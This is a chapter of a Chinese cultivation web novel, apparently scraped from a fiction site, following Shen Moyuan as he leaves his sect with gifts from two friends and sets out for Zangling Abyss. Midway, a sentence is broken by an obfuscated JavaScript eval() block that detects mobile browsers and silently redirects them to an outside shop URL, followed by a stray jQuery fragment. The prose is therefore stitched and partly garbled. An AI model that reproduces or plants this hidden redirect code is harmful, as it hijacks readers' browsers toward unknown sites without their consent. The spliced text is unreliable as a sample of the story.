文趣网 > 都市小说 > 天劫淬体逆天路 > 40. 再踏征途
    沈墨渊走出山门的那一刻,阳光正好照在他脸上。

    他眯起眼睛,回头看了一眼。

    天剑宗的山门很高,很气派,像一柄插在天上的剑。他在这里待了大半年,从来没有觉得这座山门和自己有什么关系。但现在要离开了,他忽然发现,这座山门其实挺好看的。

    他笑了一下。

    那笑容很淡,淡到连他自己都没察觉。

    然后他转过身,往山下走去。

    山路两旁的树已经开始落叶了,枯黄的叶子铺了一地,踩上去沙沙响。风一吹,叶子打着旋儿从他脚边飞过,像一群迷路的蝴蝶。

    他走得不快,但每一步都很稳。

    走了约莫半个时辰,他绕过了山脚,拐进一条通往灵兽山的小路。这条路他走过无数遍,闭着眼睛都能找到。路的尽头是那间破屋,他和铁牛住了大半年的地方。

    他推开门。

    铁牛正蹲在屋里,背对着他,手里拿着一个包袱,正在往里头塞东西。听到门响,铁牛头也没回,闷声说:“回来了?”

    “嗯。”

    “东西俺帮你收拾好了。”铁牛站起来,转过身,把包袱递给他,“你看看还缺啥不?”

    沈墨渊接过包袱,掂了掂,挺沉。他打开看了一眼,里头叠着两件换洗的衣服,一包干粮,一个水囊,还有一小袋灵石。

    他把灵石拿出来,塞回铁牛手里:“这个我不能拿。”

    铁牛瞪着眼睛看他,那眼神像一头被激怒的公牛,呼哧呼哧地喘着粗气:“拿着!你比俺更需要。”

    “铁牛哥——”

    “别叫俺哥!”铁牛打断他,声音大得像打雷,“俺跟你说,你这一走,不知道啥时候才能回来。葬灵渊那地方,俺听人说过,里头全是妖兽和毒雾,没有灵石你连个落脚的地方都找不到。”

    沈墨渊张了张嘴,想说点什么,但喉咙像被什么东西堵住了。

    铁牛把那袋灵石重新塞进他手里,力气大得他手都发麻。

    “俺攒了七年,”铁牛说,声音忽然低了下去,“本来是给俺闺女交入门费的。但俺想过了,俺闺女有灵根,她自个儿也能闯出一条路来。你不一样——”

    铁牛顿了顿,抬起头看着他,那双布满血丝的眼睛里,亮着一股光。

    “你比俺闺女更需要这些灵石。”

    沈墨渊低下头,看着手里的那袋灵石。袋子不大,但沉甸甸的,压在掌心里,压得他手指都在发抖。

    他鼻子一酸,重重点了点头。

    “好。”

    铁牛咧嘴笑了,那张被疤痕拉得有些狰狞的脸上,露出一口黄牙:“这才像话。”

    沈墨渊把灵石收好,背起包袱,转身往外走。

    走到门口时,他停了一下,没有回头。

    “铁牛哥。”

    “嗯?”

    “等我回来。到时候俺带你去看看俺闺女,让她也瞧瞧,她爹没白攒这些灵石。”

    铁牛没有说话,只是站在那里,看着他的背影。

    沈墨渊没有等回答,大步走了出去。

    离开灵兽山的时候,他绕了一段路,经过药园。

    远远地,他就看见一个人站在药园门口。

    那个人穿着一件洗得发白的灰布衣,身形干瘦,背微驼,一头花白头发用一块粗布帕子包着。她站在那里,双手抱在胸前,像是在等什么人。

    是木青萝。

    沈墨渊走过去,在她面前停下。

    木青萝看着他,那双清亮的眼睛里,没有惊讶,没有疑问,只有一种淡淡的平静,像山间未被污染的泉水。

    “要走了?”她问。

    “嗯。”

    木青萝没有说话,而是从袖子里掏出两样东西,递给他。

    一株凝血草,和一包种子。

    沈墨渊愣了一下,没有接。

    木青萝把东西塞进他手里,力气不大,但很坚定。

    “凝血草你留着,受了伤嚼碎了敷上,能止血。”她说,语气平淡得像在说今天的天气,“种子你带着,到了葬灵渊,找个灵气足的地方种下去,说不定能活。”

    沈墨渊低头看着手里的东西,那株凝血草叶片肥厚,泛着暗红色的光泽,像是被血浸过一样。那包种子用一块粗布包着,扎得很紧,他捏了捏,里头有十几颗。

    “木婆婆……”他抬起头,想说什么。

    木青萝没有让他说完。

    “活着回来。”她说。

    那四个字很轻,轻得像风吹过竹叶,但落在沈墨渊耳朵里,却重得像一座山。

    沈墨渊深深鞠了一躬。

    “我会的。”

    他直起身,转身,往山下走去。

    走出十几步时,他听见身后传来木青萝的声音,很轻,像是自言自语。

    “别死了。”

    他没有回头,但脚步更坚定了。

    下山的路很长,他走了整整一个时辰。

    太阳已经爬到头顶了,晒得他后背发烫。他走累了,在一棵大树下坐下来,掏出水囊喝了一口水。

    水是凉的,顺着喉咙淌下去,整个人都清醒了。

    他抬起头,看着远处的山。

    那座山叫天剑峰,是天剑宗的主峰,高耸入云,山顶终年积雪,在阳光下泛着白茫茫的光。他曾经以为,自己这辈子都会被困在那座山里,做着最脏的杂役,挨着最多的欺负,直到老死。

    但现在,他出来了。

    他低下头,看着右手腕上那道黯淡的印记。

    印记的颜色很淡,淡到几乎看不清了,像一道褪了色的伤疤。他伸手摸了摸,触感微热,像是还有一丝温度。

    “器灵,”他在心里说,“你放心,我一定会找到修复你的方法。”

    没有回应。

    印记安安静静的,像一潭死水。

    他深吸一口气,站起来,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17570364|204904||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    拍了拍屁股上的土,继续往前走。

    走了一整天,太阳西斜的时候,他到了一座山头上。

    山头不高,但视野很好,能看见远处连绵的山脉和蜿蜒的河流。他找了一块平整的石头,放下包袱,开始生火。

    火光亮起来的时候,天已经快黑了。

    他坐在篝火旁,烤着干粮,看着火苗一跳一跳的,心里忽然安静了下来。

    以前在宗门的时候,他从来没有这样安静过。白天要干活,晚上要修炼,还要提防萧衍的眼线,每一步都像走在刀刃上。现在他离开了,虽然前路未知,但至少不用再提心吊胆了。

    他咬了一口干粮,嚼了半天才咽下去。干粮硬邦邦的,噎得他喉咙发干,他又灌了一口水。火光映在他脸上,忽明忽暗的,像他此刻的心绪。

    他想起了铁牛那句话——“你比俺闺女更需要这些灵石。”铁牛把自己的希望给了他,而他除了一个“等我回来”的承诺,什么都给不了铁牛。

    他又想起了木青萝。那个在药园里守了三十年的女人,把还魂草的种子分给了他,把三十年的执念也分给了他。她说“活着回来”,但沈墨渊知道,她说这句话的时候,心里想的不是他,是她那些死去的同门,是她这辈子都没能赎完的罪。

    他忽然觉得肩上的担子很重。

    重到让他喘不过气来。

    但他没有放下。

    他把最后一口干粮塞进嘴里,嚼碎了咽下去,然后拍了拍手,站起来,走到山头的边缘。

    夜风吹过来,凉飕飕的,吹得他衣角猎猎作响。他看向远处,天剑宗的方向已经看不见了,取而代之的是一片苍茫的黑暗。但更远的地方,他隐约能看见一道幽蓝色的光,像一条沉睡的巨龙,横卧在天际线上。

    那是葬灵渊的方向。

    他低下头,看着右手腕上的印记,低声说:“器灵,你放心,我一定会找到修复你的方法。”

    话音刚落,他忽然感觉到右手腕传来一丝微弱的温热。

    那温热很轻,轻得像一根羽毛拂过皮肤,但他还是感觉到了。

    他猛地低头看去。

    印记闪了一下。

    那光芒很微弱,像一盏快要熄灭的灯,在黑暗中挣扎着亮了一瞬,然后熄灭了。

    沈墨渊愣住了。

    他盯着右手腕,眼睛一眨不眨,等了很久。

    但印记没有再亮。

    他咧嘴笑了。

    那笑容很难看,嘴角扯动时牵动了脸上的伤口,但他不在乎。他知道,器灵还在,只是太累了,累到连回应他都做不到。

    但他知道,器灵还在。

    他握紧拳头,声音不大,但很坚定:“等着我,我一定会回来的。”

    夜风吹过,吹得篝火摇晃了一下,火星子飞起来,在黑暗中散开,像一群萤火虫。

    他的背影在火光中拉得很长,像一柄出鞘的剑,笔直地指向葬灵渊的方向。